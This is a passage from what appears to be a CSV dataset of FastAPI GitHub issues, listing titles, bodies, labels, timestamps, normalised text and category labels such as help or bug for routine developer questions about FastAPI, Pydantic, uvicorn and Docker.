  ... [TRUNCATED]","question,investigate,question-migrate",2022-10-24 11:23:15+00:00,2023-02-28 15:43:02+00:00,2,"question,investigate,question-migrate",127.1804,header query path parameters with same name fills them all first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from typing import union import uvicorn from fastapi import fastapi apirouter depends path header query from pydantic import positiveint app fastapi router apirouter def get user id from header user id union positiveint none header default none return user id def get user id from query user id union positiveint none query default none return user id router get user user id async def article user id positiveint path header user id depends get user id from header query user id depends get user id from query return user id user id truncated,help,0.9136
tiangolo/fastapi,1420537133,"Duplicate tags ending up in openapi.json, causing ReDoc issue [fixed, with PR]","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import APIRouter, FastAPI, Request
from fastapi.responses import JSONResponse

app = FastAPI()
router = APIRouter(tags=[""items"", ""items""])

@router.get(""/items/"")
def read_items(request: Request):
    return JSONResponse({""hello"": ""world""})

app.include_router(router)

# or just simply
@app.get('/test/', tags=[""test"", ""test""])
def read_test():
    return ""test""
```


### Description

* Open the browser and call endpoint '/redoc'
* Observe duplicate entries for /items and /test:

![Screenshot 2022-10-24 at 11 23 31](https://user-images.githubusercontent.com/58346970/197496996-4aba111c-8438-4d6e-b0... [TRUNCATED]","question,question-migrate",2022-10-24 09:37:47+00:00,2023-02-27 21:26:44+00:00,4,"question,question-migrate",126.4923,duplicate tags ending up in openapi json causing redoc issue fixed with pr first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description open the browser and call endpoint redoc observe duplicate entries for items and test screenshot at truncated,bug,0.9136
tiangolo/fastapi,1420166133,Failed when using FastAPI (uvicorn) worker,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
cd .. && uvicorn --host=0.0.0.0 --port=8000 --root-path $ROOT_PATH logistics.app.main:app --workers 5 --timeout-keep-alive 900
```


### Description

Failed to deploy on the pipeline when I added --workers 5 at the uvicorn start. It works locally, but when in deployment it failed and returned Stopped reason Task failed container health checks (after taking so long time pipeline).  Without --workers 5 it runs properly.

Why I'm using --workers 5?, is because I'm using anyio task group, before --workers 5 sets, it returns Upstream request timeout. In another service --workers are working properly, but in this case, it is not.

### Operating System

L... [TRUNCATED]","question,question-migrate",2022-10-24 03:48:29+00:00,2023-02-27 21:26:41+00:00,3,"question,question-migrate",126.7349,failed when using fastapi uvicorn worker first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description failed to deploy on the pipeline when i added workers at the uvicorn start it works locally but when in deployment it failed and returned stopped reason task failed container health checks after taking so long time pipeline without workers it runs properly why i m using workers is because i m using anyio task group before workers sets it returns upstream request timeout in another service workers are working properly but in this case it is not l truncated,help,-0.7311
tiangolo/fastapi,1417627665,The starlette must be upgraded to 0.21.0 to solve this bug:https://github.com/tiangolo/fastapi/issues/5403,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
fastapi>=0.85.1
starlette>=0.21.0
```


### Description

these package versions have conflicting dependencies.
I want to use starlette=0.21.0.


### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

0.85.1

### Python Version

python--3.9.7

### Additional Context

_No response_","question,investigate,question-migrate",2022-10-21 02:57:05+00:00,2023-02-28 15:43:00+00:00,2,"question,investigate,question-migrate",130.5319,the starlette must be upgraded to to solve this bug first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description these package versions have conflicting dependencies i want to use starlette linux details no response fastapi version python version python no response,bug,0.4854
tiangolo/fastapi,1417481257,Delayed request body,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
an update method
```


### Description

[
[Screen Recording 2022-10-21 at 4.49.03 AM.zip](https://github.com/tiangolo/fastapi/files/9834602/Screen.Recording.2022-10-21.at.4.49.03.AM.zip)
](url)

### Operating System

macOS

### Operating System Details

_No response_

### FastAPI Version

0.85

### Python Version

3.10.7

### Additional Context

_No response_","question,answered,question-migrate",2022-10-20 23:47:46+00:00,2023-02-27 21:26:38+00:00,5,"question,answered,question-migrate",129.902,delayed request body first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description screen recording at am zip url macos details no response fastapi version python version no response,feature,0.7684
tiangolo/fastapi,1416910827,How to connect dropzone in fastapi,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
n/a
```


### Description

n/a

### Operating System

Windows

### Operating System Details

window 10 pro

### FastAPI Version

latest

### Python Version

3.9.8

### Additional Context

Is there anyway to connect dropzone in fastapi. I search everywhere but no be able to find it. If someone can help me by posting examples or code it will be helpful 

Thanks","question,question-migrate",2022-10-20 16:19:48+00:00,2023-02-27 21:26:33+00:00,11,"question,question-migrate",130.213,how to connect dropzone in fastapi first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description n a windows details window pro fastapi version latest python version is there anyway to connect dropzone in fastapi i search everywhere but no be able to find it if someone can help me by posting examples or code it will be helpful thanks,help,0.9682
tiangolo/fastapi,1416608432,Testing using pydantic models,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class ControlValue(BaseModel):
    """"""V4l2 control value model""""""

    value: Union[int, str, List[int], TriggerSequenceValue, Any]
    """""": value of v4l2 control""""""

class FrameSize(BaseModel):
    """"""Frame size model""""""

    width: int
    height: int

    class Config:
        """"""Config class""""""

        fields = {""width"": {""example"": 1024}, ""height"": {""example"": 1024}}


class FrameResolution(FrameSize):
    """"""Video device frame resolution model""""""

    width: Optional[int] = None
    height: Optional[int] = None

class CropRect(FrameSize):
    """"""Video device frame crop rectangle model""""""

    left: int = Field(defaul... [TRUNCATED]","question,answered,question-migrate",2022-10-20 13:16:57+00:00,2023-02-27 21:26:29+00:00,3,"question,answered,question-migrate",130.34,testing using pydantic models first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python class controlvalue basemodel v l control value model value union int str list int triggersequencevalue any value of v l control class framesize basemodel frame size model width int height int class config config class fields width example height example class frameresolution framesize video device frame resolution model width optional int none height optional int none class croprect framesize video device frame crop rectangle model left int field defaul truncated,help,0.9682
tiangolo/fastapi,1414354326,UnicodeDecodeError: 'utf-8' codec can't decode byte 0xff in position 0: invalid start byte,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
NA
```


### Description

  File ""c:\Users\vvaleti\Documents\GitHub\industry_financial_rbapi\.venv\lib\site-packages\fastapi_cache\coder.py"", line 53, in encode      
    return json.dumps(value, cls=JsonEncoder)
  File ""C:\Users\vvaleti\AppData\Local\Programs\Python\Python39\lib\json\__init__.py"", line 234, in dumps
    return cls(
  File ""C:\Users\vvaleti\AppData\Local\Programs\Python\Python39\lib\json\encoder.py"", line 199, in encode
    chunks = self.iterencode(o, _one_shot=True)
  File ""C:\Users\vvaleti\AppData\Local\Programs\Python\Python39\lib\json\encoder.py"", line 257, in iterencode
    return _iterencode(o, 0)
  File ""c:\Users\vvale... [TRUNCATED]","question,answered,question-migrate",2022-10-19 06:09:51+00:00,2023-02-27 21:26:26+00:00,4,"question,answered,question-migrate",131.6365,unicodedecodeerror utf codec can t decode byte xff in position invalid start byte first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description file c users vvaleti documents github industry financial rbapi venv lib site packages fastapi cache coder py line in encode return json dumps value cls jsonencoder file c users vvaleti appdata local programs python python lib json init py line in dumps return cls file c users vvaleti appdata local programs python python lib json encoder py line in encode chunks self iterencode o one shot true file c users vvaleti appdata local programs python python lib json encoder py line in iterencode return iterencode o file c users vvale truncated,bug,0.9081
tiangolo/fastapi,1413412190,How to setup different exception_handler's for different routes or http_handlers?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()


@app.exception_handler(RequestValidationError)
async def validation_exception(request, exc):
    return Response(
        content='Incorrect symbol',
        media_type=""text/html"",
        status_code=404
    )


@app.get('/')
def foo(q: str = Query(regex='^[0-9]+$')):
   pass

@app.post('/')
def bar(q: str = Query(regex='^[0-9]+$')):
    pass
```


### Description

I can add `@app.exception_handler(RequestValidationError)` for all Validation Errors like in code above. How to add different exception_handler's to get (foo()) and post (bar()) handlers with same ... [TRUNCATED]","question,investigate,question-migrate",2022-10-18 15:16:27+00:00,2023-02-28 15:42:56+00:00,5,"question,investigate,question-migrate",133.0184,how to setup different exception handler s for different routes or http handlers first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i can add for all validation errors like in code above how to add different exception handler s to get foo and post bar handlers with same truncated,help,0.9161
tiangolo/fastapi,1413188287,Hardware requirements for FastAPI,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
not code related
```


### Description

I am running my web server in my Raspberry Pi 4 8GB RAM, and it's working fine. But now I want to run the same project in a  Raspberry Pi 4 2GB RAM (4GB and 8 GB) aren't available on the local market. 
Is there any possibility it wont be able to run sufficiently?


### Operating System

Linux

### Operating System Details

Raspberry pi OS 64bit

### FastAPI Version

0.85.0

### Python Version

3.10.6

### Additional Context

_No response_","question,answered,question-migrate",2022-10-18 13:00:38+00:00,2023-02-27 21:26:22+00:00,9,"question,answered,question-migrate",132.3512,hardware requirements for fastapi first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i am running my web server in my raspberry pi gb ram and it s working fine but now i want to run the same project in a raspberry pi gb ram gb and gb aren t available on the local market is there any possibility it wont be able to run sufficiently linux details raspberry pi os bit fastapi version python version no response,help,0.9109
tiangolo/fastapi,1412951769,Initialize Singleton class in FastAPI startup event not working,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from config.ConfigLoader import ConfigLoader # Here ConfigLoader is singleton class

app = FastAPI()

APP_VERSION = ""v1""

app.include_router(SegmentRoute.router)

@app.on_event(""startup"")
async def startup_event():
    ConfigLoader(APP_VERSION).get_instance()

# some other file
ConfigLoader().get_instance() # this code is been called first before fastAPI's startup event
```


### Description

Start the app with `uvicorn main:app --reload`

I want to create a single object of my singleton class from FastAPI's startup event. But the similar code i wrote in some other `py` file which should return created obje... [TRUNCATED]","question,answered,question-migrate",2022-10-18 10:18:58+00:00,2023-02-27 21:26:18+00:00,5,"question,answered,question-migrate",132.4634,initialize singleton class in fastapi startup event not working first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description start the app with i want to create a single object of my singleton class from fastapi s startup event but the similar code i wrote in some other file which should return created obje truncated,help,0.9538
tiangolo/fastapi,1412767347,How to use Pydantic BaseModels with numpy.ndarray as the response_model,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class ControlValueExt(BaseModel):
    value: Union[int, str, numpy.ndarray]

    class Config:
        arbitrary_types_allowed = True

...

    @staticmethod
    def get_control(
        ctrl_id_or_name: Union[int, str], device: str = DEF_DEVICE
    ) -> ControlValueExt:
        """"""Get v4l2 control value from video device""""""
        try:
            cam = Camera._get_camera(device)
            ctrl_val = cam.get_ext_control(ctrl_id_or_name)
        except Exception as e:
            raise e

        return ControlValueExt(value=ctrl_val.value)

...

@app.get(
    V4L2_ROUTE + ""control/{ctrl_id_or_name}"",
    response_model=Co... [TRUNCATED]","question,answered,question-migrate",2022-10-18 08:10:57+00:00,2023-02-27 21:26:15+00:00,3,"question,answered,question-migrate",132.5523,how to use pydantic basemodels with numpy ndarray as the response model first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python class controlvalueext basemodel value union int str numpy ndarray class config arbitrary types allowed true staticmethod def get control ctrl id or name union int str device str def device controlvalueext get v l control value from video device try cam camera get camera device ctrl val cam get ext control ctrl id or name except exception as e raise e return controlvalueext value ctrl val value app get v l route control ctrl id or name response model co truncated,help,0.9814
tiangolo/fastapi,1412627823,Application does not start up when combining a FastAPI docker image with a MySQL docker image in Linux CentOS.,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

**main.py**

```
""""""
Running this file will start-up the API. It imports the 
requisite modules, instantiates the fastapi app, configures the app, 
instantiates the Api and adds the resources to the API.

Attributes:
    app (FastAPI): The fastapi app. 
""""""

from fastapi import FastAPI
from database import db
from endpoints import ingredient, recipe, recipe_ingredient

app = FastAPI()

app.include_router(ingredient.router)
app.include_router(recipe_ingredient.router)
app.include_router(recipe.router)

@app.on_event(""startup"")
async def startup():
    await db.connect()

@app.on_event(""shutdown"")
async def shutdown():... [TRUNCATED]","question,question-migrate",2022-10-18 06:11:15+00:00,2023-02-27 21:26:12+00:00,2,"question,question-migrate",132.6354,application does not start up when combining a fastapi docker image with a mysql docker image in linux centos first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code main py running this file will start up the api it imports the requisite modules instantiates the fastapi app configures the app instantiates the api and adds the resources to the api attributes app fastapi the fastapi app from fastapi import fastapi from database import db from endpoints import ingredient recipe recipe ingredient app fastapi app include router ingredient router app include router recipe ingredient router app include router recipe router app on event startup async def startup await db connect app on event shutdown async def shutdown truncated,documentation,0.9231
tiangolo/fastapi,1412205269,Unprocessable Entity error in Pytest despite conventional curl request works,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from enum import Enum
from typing import Optional

from pydantic import BaseModel, Field, root_validator


class OrderBy(str, Enum):
    ascending = 'ascending'
    descending = 'descending'


class BaseGet(BaseModel):
    order: Optional[OrderBy]
    order_name: Optional[str]
    search_string: Optional[str]

    class Config:
        use_enum_values = True
        orm_mode = True

    @root_validator
    def validate_date(cls, values):
        if not values[""order""]:
            values[""order_name""] = None
        return values


class GetWithSkipLimit(BaseGet):
    skip: int = 0
    limit: int = Field(default=10, le=10... [TRUNCATED]","question,answered,question-migrate",2022-10-17 20:46:52+00:00,2023-02-27 21:26:08+00:00,7,"question,answered,question-migrate",133.0273,unprocessable entity error in pytest despite conventional curl request works first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from enum import enum from typing import optional from pydantic import basemodel field root validator class orderby str enum ascending ascending descending descending class baseget basemodel order optional orderby order name optional str search string optional str class config use enum values true orm mode true root validator def validate date cls values if not values order values order name none return values class getwithskiplimit baseget skip int limit int field default le truncated,bug,0.9906
tiangolo/fastapi,1411535581,Path parameter with List,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.get(
    V4L2_ROUTE + ""controls/{ctrl_list}"",
    response_model=List[ControlValue],
    tags=[Tags.controls],
)
def get_controls(
    ctrl_list: List[str],
    params: CommonParams = Depends(),
) -> JSONResponse:
    """"""Get v4l2 controls""""""
    return Camera.get_controls(ctrl_list, params.dev)
```


### Description

When trying to declare a route with a Path parameter which is a List I get the following error: `AssertionError: Path params must be of one of the supported types`

But from what I can see it should be possible to have Lists in the Path: https://stackoverflow.com/questions/2602043/rest-api-best-practice-how-to-accept-lis... [TRUNCATED]","question,question-migrate",2022-10-17 12:57:47+00:00,2023-02-27 21:26:04+00:00,5,"question,question-migrate",133.353,path parameter with list first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description when trying to declare a route with a path parameter which is a list i get the following error but from what i can see it should be possible to have lists in the path truncated,help,0.8271
tiangolo/fastapi,1410266701,Custom response does not include headers set in dependencies,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import fastapi


def set_custom_header(response: fastapi.Response) -> None:
    response.headers[""X-Custom-Header""] = ""Testing Response Dependencies""


app = fastapi.FastAPI(dependencies=[fastapi.Depends(set_custom_header)])


@app.get(""/response"")
def response():
    return {""status"": ""ok""}


@app.get(""/custom_response"")
def custom_response():
    return fastapi.responses.JSONResponse({""status"": ""ok""})
```


### Description

When an endpoint returns an explicit `Response` headers set in dependencies are not set. However, if one returns the plain data and relies on the default response then the headers are included.

With the examp... [TRUNCATED]","question,answered,question-migrate",2022-10-15 19:19:55+00:00,2023-02-27 21:26:01+00:00,6,"question,answered,question-migrate",135.0876,custom response does not include headers set in dependencies first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description when an endpoint returns an explicit headers set in dependencies are not set however if one returns the plain data and relies on the default response then the headers are included with the examp truncated,help,0.9136
tiangolo/fastapi,1410156369,FastApi doesn't see schema (BaseModel?),"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from pydantic import BaseModel

class SimpleText(BaseModel):
    text = str

app = FastAPI()

origins = [""*""]

app.add_middleware(
    CORSMiddleware,
